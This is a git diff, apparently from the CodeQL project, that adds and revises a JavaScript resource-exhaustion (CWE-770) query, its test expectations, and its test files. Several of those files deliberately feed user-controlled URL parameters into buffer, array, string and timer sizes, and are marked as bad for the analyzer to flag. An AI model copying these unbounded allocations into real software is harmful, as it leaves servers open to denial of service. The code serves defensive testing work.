resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:6:20:6:20 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:35:12:35:12 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:35:12:35:12 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:45:24:45:24 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:46:21:46:21 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:50:14:50:14 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:82:17:82:17 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:82:17:82:17 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:84:18:84:18 | s | +| resource-exhaustion.js:5:7:5:42 | s | resource-exhaustion.js:84:18:84:18 | s | +| resource-exhaustion.js:5:11:5:34 | url.par ... , true) | resource-exhaustion.js:5:11:5:40 | url.par ... ).query | +| resource-exhaustion.js:5:11:5:40 | url.par ... ).query | resource-exhaustion.js:5:11:5:42 | url.par ... query.s | +| resource-exhaustion.js:5:11:5:42 | url.par ... query.s | resource-exhaustion.js:5:7:5:42 | s | +| resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:5:11:5:34 | url.par ... , true) | +| resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:5:11:5:34 | url.par ... , true) | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:12:21:12:21 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:12:21:12:21 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:13:21:13:21 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:13:21:13:21 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:14:16:14:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:14:16:14:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:15:22:15:22 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:15:22:15:22 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:16:26:16:26 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:16:26:16:26 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:18:14:18:14 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:18:14:18:14 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:20:20:20:20 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:20:20:20:20 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:22:18:22:18 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:22:18:22:18 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:27:9:27:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:27:9:27:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:28:13:28:13 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:28:13:28:13 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:29:9:29:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:29:9:29:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:30:9:30:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:30:9:30:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:31:9:31:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:31:9:31:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:32:9:32:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:32:9:32:9 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:34:12:34:12 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:34:12:34:12 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:37:14:37:14 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:55:16:55:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:55:16:55:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:58:16:58:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:66:16:66:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:66:16:66:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:70:16:70:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:70:16:70:16 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:81:17:81:17 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:81:17:81:17 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:83:18:83:18 | n | +| resource-exhaustion.js:6:7:6:21 | n | resource-exhaustion.js:83:18:83:18 | n | +| resource-exhaustion.js:6:11:6:21 | parseInt(s) | resource-exhaustion.js:6:7:6:21 | n | +| resource-exhaustion.js:6:20:6:20 | s | resource-exhaustion.js:6:11:6:21 | parseInt(s) | +| resource-exhaustion.js:37:14:37:14 | n | resource-exhaustion.js:37:14:37:18 | n * x | +| resource-exhaustion.js:37:14:37:14 | n | resource-exhaustion.js:37:14:37:18 | n * x | +| resource-exhaustion.js:45:24:45:24 | s | resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | +| resource-exhaustion.js:45:24:45:24 | s | resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | +| resource-exhaustion.js:46:21:46:21 | s | resource-exhaustion.js:46:14:46:22 | Number(s) | +| resource-exhaustion.js:46:21:46:21 | s | resource-exhaustion.js:46:14:46:22 | Number(s) | +| resource-exhaustion.js:50:14:50:14 | s | resource-exhaustion.js:50:14:50:21 | s.length | +| resource-exhaustion.js:50:14:50:14 | s | resource-exhaustion.js:50:14:50:21 | s.length | +| resource-exhaustion.js:58:7:58:20 | ns | resource-exhaustion.js:59:14:59:15 | ns | +| resource-exhaustion.js:58:7:58:20 | ns | resource-exhaustion.js:59:14:59:15 | ns | +| resource-exhaustion.js:58:12:58:20 | x ? n : s | resource-exhaustion.js:58:7:58:20 | ns | +| resource-exhaustion.js:58:16:58:16 | n | resource-exhaustion.js:58:12:58:20 | x ? n : s | +#select +| documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_array.js:7:23:7:26 | size | This creates an array with a user-controlled length from $@. | documentation_examples/ResourceExhaustion_array.js:5:32:5:38 | req.url | here | +| documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | documentation_examples/ResourceExhaustion_buffer.js:7:28:7:31 | size | This creates a buffer with a user-controlled size from $@. | documentation_examples/ResourceExhaustion_buffer.js:5:32:5:38 | req.url | here | +| documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentation_examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | This creates a timer with a user-controlled duration from $@. | documentation_examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | here | +| resource-exhaustion.js:12:21:12:21 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:12:21:12:21 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:13:21:13:21 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:13:21:13:21 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:14:16:14:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:14:16:14:16 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:15:22:15:22 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:15:22:15:22 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:16:26:16:26 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:16:26:16:26 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:18:14:18:14 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:18:14:18:14 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:20:20:20:20 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:20:20:20:20 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:22:18:22:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:22:18:22:18 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:27:9:27:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:27:9:27:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:28:13:28:13 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:28:13:28:13 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:29:9:29:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:29:9:29:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:30:9:30:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:30:9:30:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:31:9:31:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:31:9:31:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:32:9:32:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:32:9:32:9 | n | This creates an array with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:34:12:34:12 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:34:12:34:12 | n | This creates a string with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:35:12:35:12 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:35:12:35:12 | s | This creates a string with a user-controlled length from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:37:14:37:18 | n * x | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:37:14:37:18 | n * x | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:45:14:45:25 | Math.ceil(s) | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:46:14:46:22 | Number(s) | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:46:14:46:22 | Number(s) | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:50:14:50:21 | s.length | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:50:14:50:21 | s.length | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:55:16:55:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:55:16:55:16 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:59:14:59:15 | ns | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:59:14:59:15 | ns | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:66:16:66:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:66:16:66:16 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:70:16:70:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:70:16:70:16 | n | This creates a buffer with a user-controlled size from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:81:17:81:17 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:81:17:81:17 | n | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:82:17:82:17 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:82:17:82:17 | s | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:83:18:83:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:83:18:83:18 | n | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:84:18:84:18 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:84:18:84:18 | s | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.qlref b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.qlref new file mode 100644 index 00000000000..38e612d406f --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion.qlref @@ -0,0 +1 @@ +Security/CWE-770/ResourceExhaustion.ql diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array.js new file mode 100644 index 00000000000..2fad9da5d93 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array.js @@ -0,0 +1,10 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var size = parseInt(url.parse(req.url, true).query.size); + + let dogs = new Array(size).fill(x => "dog"); // BAD + + // ... use the dog +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array_fixed.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array_fixed.js new file mode 100644 index 00000000000..f7c88129264 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array_fixed.js @@ -0,0 +1,16 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var size = parseInt(url.parse(req.url, true).query.size); + + if (size > 1024) { + res.statusCode = 400; + res.end("Bad request."); + return; + } + + let dogs = new Array(size).fill(x => "dog"); // GOOD + + // ... use the dogs +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer.js new file mode 100644 index 00000000000..d821901e818 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer.js @@ -0,0 +1,10 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var size = parseInt(url.parse(req.url, true).query.size); + + let buffer = Buffer.alloc(size); // BAD + + // ... use the buffer +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer_fixed.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer_fixed.js new file mode 100644 index 00000000000..8d9f9b0839f --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer_fixed.js @@ -0,0 +1,16 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var size = parseInt(url.parse(req.url, true).query.size); + + if (size > 1024) { + res.statusCode = 400; + res.end("Bad request."); + return; + } + + let buffer = Buffer.alloc(size); // GOOD + + // ... use the buffer +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout.js new file mode 100644 index 00000000000..1718509534b --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout.js @@ -0,0 +1,9 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var delay = parseInt(url.parse(req.url, true).query.delay); + + setTimeout(f, delay); // BAD + +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout_fixed.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout_fixed.js new file mode 100644 index 00000000000..2f5a614e3d7 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_timeout_fixed.js @@ -0,0 +1,15 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + var delay = parseInt(url.parse(req.url, true).query.delay); + + if (delay > 1000) { + res.statusCode = 400; + res.end("Bad request."); + return; + } + + setTimeout(f, delay); // GOOD + +}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js b/javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js new file mode 100644 index 00000000000..1500fe15b87 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js @@ -0,0 +1,85 @@ +var http = require("http"), + url = require("url"); + +var server = http.createServer(function(req, res) { + let s = url.parse(req.url, true).query.s; + let n = parseInt(s); + + Buffer.from(s); // OK + Buffer.from(n); // OK + Buffer.from(x, n); // OK + Buffer.from(x, y, s); // NOT OK + Buffer.from(x, y, n); // NOT OK + Buffer.from(x, y, n); // NOT OK + Buffer.alloc(n); // NOT OK + Buffer.allocUnsafe(n); // NOT OK + Buffer.allocUnsafeSlow(n); // NOT OK + + new Buffer(n); // NOT OK + new Buffer(x, n); // OK + new Buffer(x, y, n); // NOT OK + + new SlowBuffer(n); // NOT OK + + Array(n); // OK + new Array(n); // OK + + Array(n).map(); // NOT OK + new Array(n).map(); // NOT OK + Array(n).fill(); // NOT OK + Array(n).join(); // NOT OK + Array(n).toString(); // NOT OK + Array(n) + x; // NOT OK + + x.repeat(n); // NOT OK + x.repeat(s); // NOT OK + + new Buffer(n * x); // NOT OK + new Buffer(n + n); // NOT OK [INCONSISTENCY] + new Buffer(n + x); // OK (maybe) + new Buffer(n + s); // OK (this is a string if `s` is a string) + new Buffer(s + 2); // OK (this is a string if `s` is a string) + new Buffer(s + s); // OK + new Buffer(n + "X"); // OK + + new Buffer(Math.ceil(s)); // NOT OK + new Buffer(Number(s)); // NOT OK + new Buffer(new Number(s)); // OK + + new Buffer(s + x.length); // OK (this is a string if `s` is a string) + new Buffer(s.length); // NOT OK + + if (n < 100) { + new Buffer(n); // OK + } else { + new Buffer(n); // NOT OK + } + + let ns = x ? n : s; + new Buffer(ns); // NOT OK + + new Buffer(n.toString()); // OK + + if (typeof n === "string") { + new Buffer(n); // OK + } else { + new Buffer(n); // NOT OK + } + + if (typeof n === "number") { + new Buffer(n); // NOT OK + } else { + new Buffer(n); // OK + } + + if (typeof s === "number") { + new Buffer(s); // NOT OK [INCONSISTENCY] + } else { + new Buffer(s); // OK + } + + setTimeout(f, n); // NOT OK + setTimeout(f, s); // NOT OK + setInterval(f, n); // NOT OK + setInterval(f, s); // NOT OK +}); From 3c9c79a550564f1fcb009b4de5f564ce9143b599 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 12 Jan 2021 13:19:11 +0100 Subject: [PATCH 0525/1241] JS: remove flow labels from js/resource-exhaustion --- .../Security/CWE-770/ResourceExhaustion.qhelp | 54 +--- .../examples/ResourceExhaustion_array.js | 10 - .../ResourceExhaustion_array_fixed.js | 16 -- .../examples/ResourceExhaustion_buffer.js | 10 - .../ResourceExhaustion_buffer_fixed.js | 16 -- .../security/dataflow/ResourceExhaustion.qll | 29 +- .../ResourceExhaustionCustomizations.qll | 118 +------- .../CWE-770/ResourceExhaustion.expected | 260 ++++-------------- .../ResourceExhaustion_array.js | 10 - .../ResourceExhaustion_array_fixed.js | 16 -- .../ResourceExhaustion_buffer.js | 10 - .../ResourceExhaustion_buffer_fixed.js | 16 -- .../Security/CWE-770/resource-exhaustion.js | 48 ++-- 13 files changed, 93 insertions(+), 520 deletions(-) delete mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array.js delete mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array_fixed.js delete mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer.js delete mode 100644 javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer_fixed.js delete mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array.js delete mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array_fixed.js delete mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer.js delete mode 100644 javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer_fixed.js diff --git a/javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp b/javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp index 7ffd054945e..8f9283944fc 100644 --- a/javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp +++ b/javascript/ql/src/Security/CWE-770/ResourceExhaustion.qhelp @@ -33,57 +33,7 @@ <p> - The following example allocates a buffer with a user-controlled - size. - - </p> - - <sample src="examples/ResourceExhaustion_buffer.js" /> - - <p> - - This is problematic since an attacker can choose a size - that makes the application run out of memory. Even worse, in older - versions of Node.js, this could leak confidential memory. - - To prevent such attacks, limit the buffer size: - - </p> - - <sample src="examples/ResourceExhaustion_buffer_fixed.js" /> - - </example> - - <example> - - <p> - - As another example, consider an application that allocates an - array with a user-controlled size, and then fills it with values: - - </p> - - <sample src="examples/ResourceExhaustion_array.js" /> - - <p> - The allocation of the array itself is not problematic since arrays are - allocated sparsely, but the subsequent filling of the array will take - a long time, causing the application to be unresponsive, or even run - out of memory. - - Again, a limit on the size will prevent the attack: - - </p> - - <sample src="examples/ResourceExhaustion_array_fixed.js" /> - - </example> - - <example> - - <p> - - Finally, the following example lets a user choose a delay after + The following example lets a user choose a delay after which a function is executed: </p> @@ -97,7 +47,7 @@ registrations of such delays will therefore use up all of the memory in the application. - Again, a limit on the delay will prevent the attack: + A limit on the delay will prevent the attack: </p> diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array.js deleted file mode 100644 index e7c6be16953..00000000000 --- a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array.js +++ /dev/null @@ -1,10 +0,0 @@ -var http = require("http"), - url = require("url"); - -var server = http.createServer(function(req, res) { - var size = parseInt(url.parse(req.url, true).query.size); - - let dogs = new Array(size).fill(x => "dog"); // BAD - - // ... use the dogs -}); diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array_fixed.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array_fixed.js deleted file mode 100644 index f7c88129264..00000000000 --- a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_array_fixed.js +++ /dev/null @@ -1,16 +0,0 @@ -var http = require("http"), - url = require("url"); - -var server = http.createServer(function(req, res) { - var size = parseInt(url.parse(req.url, true).query.size); - - if (size > 1024) { - res.statusCode = 400; - res.end("Bad request."); - return; - } - - let dogs = new Array(size).fill(x => "dog"); // GOOD - - // ... use the dogs -}); diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer.js deleted file mode 100644 index d821901e818..00000000000 --- a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer.js +++ /dev/null @@ -1,10 +0,0 @@ -var http = require("http"), - url = require("url"); - -var server = http.createServer(function(req, res) { - var size = parseInt(url.parse(req.url, true).query.size); - - let buffer = Buffer.alloc(size); // BAD - - // ... use the buffer -}); diff --git a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer_fixed.js b/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer_fixed.js deleted file mode 100644 index 8d9f9b0839f..00000000000 --- a/javascript/ql/src/Security/CWE-770/examples/ResourceExhaustion_buffer_fixed.js +++ /dev/null @@ -1,16 +0,0 @@ -var http = require("http"), - url = require("url"); - -var server = http.createServer(function(req, res) { - var size = parseInt(url.parse(req.url, true).query.size); - - if (size > 1024) { - res.statusCode = 400; - res.end("Bad request."); - return; - } - - let buffer = Buffer.alloc(size); // GOOD - - // ... use the buffer -}); diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll b/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll index dc46eb7daf0..b17167318fd 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustion.qll @@ -19,36 +19,29 @@ module ResourceExhaustion { class Configuration extends TaintTracking::Configuration { Configuration() { this = "ResourceExhaustion" } - override predicate isSource(DataFlow::Node source, DataFlow::FlowLabel label) { - source.(Source).getAFlowLabel() = label - } + override predicate isSource(DataFlow::Node source) { source instanceof Source } - override predicate isSink(DataFlow::Node sink, DataFlow::FlowLabel label) { - sink.(Sink).getAFlowLabel() = label - } + override predicate isSink(DataFlow::Node sink) { sink instanceof Sink } - override predicate isAdditionalFlowStep( - DataFlow::Node src, DataFlow::Node dst, DataFlow::FlowLabel srclabel, - DataFlow::FlowLabel dstlabel - ) { - dstlabel instanceof Label::Number and + override predicate isAdditionalTaintStep(DataFlow::Node src, DataFlow::Node dst) { isNumericFlowStep(src, dst) or // reuse most existing taint steps - super.isAdditionalFlowStep(src, dst) and - not dst.asExpr() instanceof AddExpr and - if dst.(DataFlow::MethodCallNode).calls(src, "toString") - then dstlabel.isTaint() - else srclabel = dstlabel + isRestrictedAdditionalTaintStep(src, dst) } override predicate isSanitizerGuard(TaintTracking::SanitizerGuardNode guard) { guard instanceof LoopBoundInjection::LengthCheckSanitizerGuard or - guard instanceof UpperBoundsCheckSanitizerGuard or - guard instanceof TypeTestGuard + guard instanceof UpperBoundsCheckSanitizerGuard } } + predicate isRestrictedAdditionalTaintStep(DataFlow::Node src, DataFlow::Node dst) { + any(TaintTracking::AdditionalTaintStep dts).step(src, dst) and + not dst.asExpr() instanceof AddExpr and + not dst.(DataFlow::MethodCallNode).calls(src, "toString") + } + /** * Holds if data may flow from `src` to `dst` as a number. */ diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll index b428f2c4e8b..a2aedef105e 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/ResourceExhaustionCustomizations.qll @@ -10,18 +10,12 @@ module ResourceExhaustion { /** * A data flow source for resource exhaustion vulnerabilities. */ - abstract class Source extends DataFlow::Node { - /** Gets a flow label denoting the type of value for which this is a source. */ - DataFlow::FlowLabel getAFlowLabel() { result.isTaint() } - } + abstract class Source extends DataFlow::Node { } /** * A data flow sink for resource exhaustion vulnerabilities. */ abstract class Sink extends DataFlow::Node { - /** Gets a flow label denoting the type of value for which this is a sink. */ - DataFlow::FlowLabel getAFlowLabel() { result instanceof Label::Number } - /** * Gets a description of why this is a problematic sink. */ @@ -33,59 +27,19 @@ module ResourceExhaustion { */ abstract class Sanitizer extends DataFlow::Node { } - /** - * Provides data flow labels for resource exhaustion vulnerabilities. - */ - module Label { - /** - * A number data flow label. - */ - class Number extends DataFlow::FlowLabel { - Number() { this = "number" } - } - } - /** * A sanitizer that blocks taint flow if the size of a number is limited. */ - class UpperBoundsCheckSanitizerGuard extends TaintTracking::LabeledSanitizerGuardNode, + class UpperBoundsCheckSanitizerGuard extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode { override RelationalComparison astNode; - override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { - label instanceof Label::Number and - ( - true = outcome and - e = astNode.getLesserOperand() - or - false = outcome and - e = astNode.getGreaterOperand() - ) - } - } - - /** - * A test of form `typeof x === "something"`, preventing `x` from being a number in some cases. - */ - class TypeTestGuard extends TaintTracking::LabeledSanitizerGuardNode, 